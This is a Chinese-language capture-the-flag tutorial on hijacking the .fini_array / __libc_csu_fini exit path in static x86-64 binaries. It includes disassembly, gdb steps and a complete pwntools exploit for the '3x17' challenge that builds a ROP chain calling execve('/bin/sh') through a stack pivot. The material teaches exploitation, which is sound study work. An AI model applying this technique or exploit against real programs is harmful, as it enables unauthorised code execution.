前言

在64位的静态程序当中,除了ret2syscall,又碰到了静态程序的万能gadget————finifini是个什么东西呢?回想之前的《main真的是函数入口吗?》,在程序进入和退出都会调用函数来帮忙初始化和善后,它们分别是__libc_csu_init__libc_csu_fini,后者就是今天我们要谈论的函数。

原理

用《main真的是函数入口吗?》里面exitdemo

1
2
3
4
5
6
7
8
9
#include<stdio.h>

int main(void)
{
printf("welcome to exit\n");
exit(0);
return 1;
}
//gcc exit.c -o exit -no-pie -static

IDA打开直接定位__libc_cus_fini函数,里面有三条语句特别的关键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:0000000000401910 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401910 ; __unwind {
.text:0000000000401910 push rbp
.text:0000000000401911 lea rax, __gettext_germanic_plural
.text:0000000000401918 lea rbp, _fini_array_0
.text:000000000040191F push rbx
.text:0000000000401920 sub rax, rbp
.text:0000000000401923 sar rax, 3
.text:0000000000401927 sub rsp, 8
.text:000000000040192B test rax, rax
.text:000000000040192E jz short loc_401946
.text:0000000000401930 lea rbx, [rax-1]
.text:0000000000401934 nop dword ptr [rax+00h]
.text:0000000000401938
.text:0000000000401938 loc_401938: ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000401938 call qword ptr [rbp + rbx*8]
.text:000000000040193C sub rbx, 1
.text:0000000000401940 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000401944 jnz short loc_401938
.text:0000000000401946
.text:0000000000401946 loc_401946: ; CODE XREF: __libc_csu_fini+1E↑j
.text:0000000000401946 add rsp, 8
.text:000000000040194A pop rbx
.text:000000000040194B pop rbp
.text:000000000040194C jmp _term_proc
.text:000000000040194C ; } // starts at 401910
.text:000000000040194C __libc_csu_fini endp

注意下面三条语句,它将是我们利用的关键,通过理解__libc_csu_fini的执行流程,可以总结出它是先将_fini_array_0这个数组的地址赋值给rbp,之后通过call来调用,那它是怎么调用的呢?下面展示动调的过程。

1
2
3
.text:0000000000401918                 lea     rbp, _fini_array_0
.text:0000000000401938 call qword ptr [rbp + rbx*8]
.text:0000000000401944 jnz short loc_401938

__libc_csu_fini下断点,c之后步入之后来到0x401938,可以看到它正常的调用了_fini_array_0,调用返回之后会将sub rbx, 1(此前rbx的值为1),再往下就是cmp rbx, 0FFFFFFFFFFFFFFFFh,这里显然不等于,并触发跳转,程序又回到了刚刚的位置再一次call qword ptr [rbp + rbx*8],需要注意的是这次的call索引的值不同了,之后rbx1,未能触发跳转,看完动调的过程,我们总结一下它执行的流程为_fini_array[1] -> _fini_array[0]

知道了它的执行流程之后,那么怎么去利用它呢?并且_fini_array[1]_fini_array[0]里面到底存的是什么呢?我们可以objdump看一下fini_array这个数组存放的位置,再用gdb来看看fini_array里面到底存的是什么?

1
2
3
4
5
6
7
8
9
➜  test objdump -h ./exit 

./exit: 文件格式 elf64-x86-64

节:
Idx Name Size VMA LMA File off Algn

16 .fini_array 00000010 00000000006b6150 00000000006b6150 000b6150 2**3
CONTENTS, ALLOC, LOAD, DATA

在下图可以看到_fini_array[0] => __do_global_dtors_aux _fini_array[1] => fini, 那我们如果改_fini_array[0]是不是就能劫持控制流了?答案是肯定的!

劫持_fini_array[0]

修改main真的是函数入口吗?里面exitdemo为下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>

void hack(void){
printf("welcome to hacker world\n");

}

int main(void)
{
printf("welcome to exit\n");
exit(0);
return 1;
}
//gcc exit.c -o exit -no-pie -static

还是在__libc_csu_fini下断点,修改_fini_array[0]的值为hack函数的地址,再按下c的时候,我们已经成功的打印了welcome to hacker world\n!!!这里修改的只是hack函数的地址,那如果是one_gadget或者是shellcode的地址,你应该能猜到会发生什么。

1
2
3
pwndbg> p hack
$2 = {<text variable, no debug info>} 0x400b6d <hack>
pwndbg> set {int}0x6b6150=0x400b6d

可遗憾的是,只有一些特定的情况才能像上面那样利用,接下来将介绍更通用的情况:

__libc_csu_fini的循环

既然它会循环调用,那不然就让它一直循环吧!我们将_fini_array[1]改成某个函数的地址(下面都称它为A),同时再把_fini_array[0]改成__libc_csu_fini的地址,由于它每次call_fini_array[0]都回到__libc_csu_fini函数的开头,所以ebx永远都不会等于-1,那么程序的执行流将变成下面这个样子:

1
__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini  -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> .....

除非把fini_array[0]覆盖成其他的值,否则它将一直循环到天荒地老,那么这么循环到底有什么用呢?答:进行ROP攻击,我们可以在fini_array+0x10布置ROP,然后再将栈迁移到这里,最终实现我们的目的!讲的再多不如来道题目看看~

题目

3x17

题目链接

打开IDA就得知这是一个静态的64位的程序,下面的checksec就开了NX

1
2
3
4
5
6
➜  checksec 3x17 
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序去了符号,经过之前对_start函数的学习很容易知道main函数的位置,找到_start之后,__libc_start_main的第一个参数就是main函数地址:

下面就是main函数,部分函数已经通过分析加上了符号,程序的逻辑很简单,就是读入一个地址,然后再这个地址上写数据,但只可以写0x18的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_401B6D()
{
__int64 result; // rax
char *v1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sys_write(1u, "addr:", 5uLL);
sys_read(0, buf, 0x18uLL);
v1 = (char *)(int)sub_40EE70((__int64)buf);
sys_write(1u, "data:", 5uLL);
sys_read(0, v1, 0x18uLL);
result = 0LL;
}
if ( __readfsqword(0x28u) != v3 )
error();
return result;
}

首先肯定是考虑前面说到的一种做法,修改_fini_array[0]one_gadget或者是shellcode的地址,再或者是其他可拿shell的函数,shellcode读不进去,栈地址也不能泄露,可拿shell的函数也没有,那one_gadget呢?由于程序是静态的,所以只能在程序本身里面寻找,答案很显然,没有….

1
2
➜  one_gadget 3x17 
[OneGadget] ArgumentError: File "/home/laohu/Documents/pwn/others/3x17_fini prix/3x17" doesn't contain string "/bin/sh", not glibc?

那么就是第二种做法了,让__libc_csu_fini循环起来,仔细想想如果循环的地址设置成main,会发生什么?它会使byte_4B9330疯狂加1,同时它是unsigned __int8类型的变量,疯狂加1会使它整数溢出,所以它总有加到1的时候,一旦它的值为1,我们就有了一次任意地址读的机会,这样就可以循环读入我们的ROP,每次都能读0x18的大小,按照理论来说我们就可以把ROP读到任何地方,但这里只讨论劫持fini_array,通过objdump来得到fini_array地址:

1
2
3
4
5
6
7
8
➜  objdump -h ./3x17 

./3x17: 文件格式 elf64-x86-64

节:
Idx Name Size VMA LMA File off Algn
15 .fini_array 00000010 00000000004b40f0 00000000004b40f0 000b30f0 2**3
CONTENTS, ALLOC, LOAD, DATA

写入的位置选在fini_array+0x10,那…为什么是这个位置呢?回到刚刚的写ROP,我们写入了ROP,那必然要把esp指过去,对不对?那肯定是要用到栈迁移,那写完ROP之后,再次覆盖_fini_array[1]实现栈迁移就会是下面这个场景:

1
2
3
4
5
6
(ebp = 0x4b40f0)
call qword ptr [rbp + rbx*8] <0x401580>

mov rsp,rbp ;rsp => 0x4b40f0
pop ebp ;rsp => 0x4b40f8
ret ;rsp => 0x4b4100

此时,rsp的值已经到0x4b4100这个位置,那我们只要在此处布置好ROP+栈迁移,等待ret返回,就可以劫持控制流了!

1
2
3
4
5
6
7
8
9
10
11
write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('3x17')
io = process('3x17')

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B
exe_call = 0x3b
esp = 0x4B4100
syscall = 0x471db5
pop_rax = 0x41e4af
pop_rdx = 0x446e35
pop_rsi = 0x406c30
pop_rdi = 0x401696
bin_sh_addr = 0x4B4200

def write(addr,data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)

write(fini_array,p64(libc_csu_fini)+p64(main_addr))
write(esp,p64(pop_rax))
write(esp+8,p64(exe_call))
write(esp+16,p64(pop_rdi))
write(esp+24,p64(bin_sh_addr))
write(esp+32,p64(pop_rdx))
write(esp+40,p64(0))
write(esp+48,p64(pop_rsi))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
write(bin_sh_addr,"/bin/sh\x00")
write(fini_array,p64(leave_ret))

# gdb.attach(io)
io.interactive()

参考链接:

https://www.freebuf.com/articles/system/226003.html

https://www.mrskye.cn/archives/2a024e

本文由12138原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/254520
安全客 - 有思想的安全新媒体